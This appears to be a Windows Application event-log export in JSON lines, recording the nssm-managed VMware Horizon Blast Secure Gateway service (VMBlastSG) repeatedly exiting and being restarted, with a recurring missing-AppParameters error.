{"@timestamp":1646698808479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158401}}
{"@timestamp":1646698937000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158402}}
{"@timestamp":1646698937001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158403}}
{"@timestamp":1646698937002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155064","0"]}}},"module":"Application","provider":"nssm","sequence":158404}}
{"@timestamp":1646698937003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155064","155064","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158405}}
{"@timestamp":1646698937019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158406}}
{"@timestamp":1646698937020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158407}}
{"@timestamp":1646698937020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158408}}
{"@timestamp":1646698937021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158409}}
{"@timestamp":1646699065514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158410}}
{"@timestamp":1646699065514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158411}}
{"@timestamp":1646699065516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155192","0"]}}},"module":"Application","provider":"nssm","sequence":158412}}
{"@timestamp":1646699065517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155192","155192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158413}}
{"@timestamp":1646699065536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158414}}
{"@timestamp":1646699065536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158415}}
{"@timestamp":1646699065537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158416}}
{"@timestamp":1646699065538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158417}}
{"@timestamp":1646699194154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158418}}
{"@timestamp":1646699194155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158419}}
{"@timestamp":1646699194158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154924","0"]}}},"module":"Application","provider":"nssm","sequence":158420}}
{"@timestamp":1646699194159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154924","154924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158421}}
{"@timestamp":1646699194188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158422}}
{"@timestamp":1646699194188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158423}}
{"@timestamp":1646699194189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158424}}
{"@timestamp":1646699194189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158425}}
{"@timestamp":1646699322716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158426}}
{"@timestamp":1646699322717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158427}}
{"@timestamp":1646699322717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155208","0"]}}},"module":"Application","provider":"nssm","sequence":158428}}
{"@timestamp":1646699322719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155208","155208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158429}}
{"@timestamp":1646699322736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158430}}
{"@timestamp":1646699322737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158431}}
{"@timestamp":1646699322738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158432}}
{"@timestamp":1646699322738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158433}}
{"@timestamp":1646699451464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158434}}
{"@timestamp":1646699451465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158435}}
{"@timestamp":1646699451465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154768","0"]}}},"module":"Application","provider":"nssm","sequence":158436}}
{"@timestamp":1646699451466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154768","154768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158437}}
{"@timestamp":1646699451481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158438}}
{"@timestamp":1646699451482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158439}}
{"@timestamp":1646699451482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158440}}
{"@timestamp":1646699451483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158441}}
{"@timestamp":1646699579986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158442}}
{"@timestamp":1646699579987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158443}}
{"@timestamp":1646699579988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155296","0"]}}},"module":"Application","provider":"nssm","sequence":158444}}
{"@timestamp":1646699579989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155296","155296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158445}}
{"@timestamp":1646699580006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158446}}
{"@timestamp":1646699580006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158447}}
{"@timestamp":1646699580007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158448}}
{"@timestamp":1646699580007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158449}}
{"@timestamp":1646699708507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158450}}
{"@timestamp":1646699708509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158451}}
{"@timestamp":1646699708511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154016","0"]}}},"module":"Application","provider":"nssm","sequence":158452}}
{"@timestamp":1646699708512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154016","154016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158453}}
{"@timestamp":1646699708528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158454}}
{"@timestamp":1646699708529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158455}}
{"@timestamp":1646699708529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158456}}
{"@timestamp":1646699708531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158457}}
{"@timestamp":1646699837135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158458}}
{"@timestamp":1646699837135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158459}}
{"@timestamp":1646699837137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154872","0"]}}},"module":"Application","provider":"nssm","sequence":158460}}
{"@timestamp":1646699837140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154872","154872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158461}}
{"@timestamp":1646699837155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158462}}
{"@timestamp":1646699837156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158463}}
{"@timestamp":1646699837156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158464}}
{"@timestamp":1646699837157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158465}}
{"@timestamp":1646699965718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158466}}
{"@timestamp":1646699965719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158467}}
{"@timestamp":1646699965719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154836","0"]}}},"module":"Application","provider":"nssm","sequence":158468}}
{"@timestamp":1646699965720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154836","154836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158469}}
{"@timestamp":1646699965737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153968","0"]}}},"module":"Application","provider":"nssm","sequence":158470}}
{"@timestamp":1646699965738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153968","154836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158471}}
{"@timestamp":1646699965754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158472}}
{"@timestamp":1646699965755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158473}}
{"@timestamp":1646699965756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158474}}
{"@timestamp":1646699965757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158475}}
{"@timestamp":1646700094579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158476}}
{"@timestamp":1646700094579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158477}}
{"@timestamp":1646700094583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154420","0"]}}},"module":"Application","provider":"nssm","sequence":158478}}
{"@timestamp":1646700094586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154420","154420","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158479}}
{"@timestamp":1646700094601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158480}}
{"@timestamp":1646700094601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158481}}
{"@timestamp":1646700094602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158482}}
{"@timestamp":1646700094603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158483}}
{"@timestamp":1646700223178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158484}}
{"@timestamp":1646700223179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158485}}
{"@timestamp":1646700223180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154300","0"]}}},"module":"Application","provider":"nssm","sequence":158486}}
{"@timestamp":1646700223181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154300","154300","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158487}}
{"@timestamp":1646700223199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158488}}
{"@timestamp":1646700223200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158489}}
{"@timestamp":1646700223200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158490}}
{"@timestamp":1646700223201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158491}}
{"@timestamp":1646700351708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158492}}
{"@timestamp":1646700351709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158493}}
{"@timestamp":1646700351710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154484","0"]}}},"module":"Application","provider":"nssm","sequence":158494}}
{"@timestamp":1646700351710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154484","154484","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158495}}
{"@timestamp":1646700351727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158496}}
{"@timestamp":1646700351727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158497}}
{"@timestamp":1646700351728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158498}}
{"@timestamp":1646700351729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158499}}
{"@timestamp":1646700480251,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158500}}
{"@timestamp":1646700480252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158501}}
{"@timestamp":1646700480254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154152","0"]}}},"module":"Application","provider":"nssm","sequence":158502}}
{"@timestamp":1646700480254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154152","154152","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158503}}
{"@timestamp":1646700480272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158504}}
{"@timestamp":1646700480273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158505}}
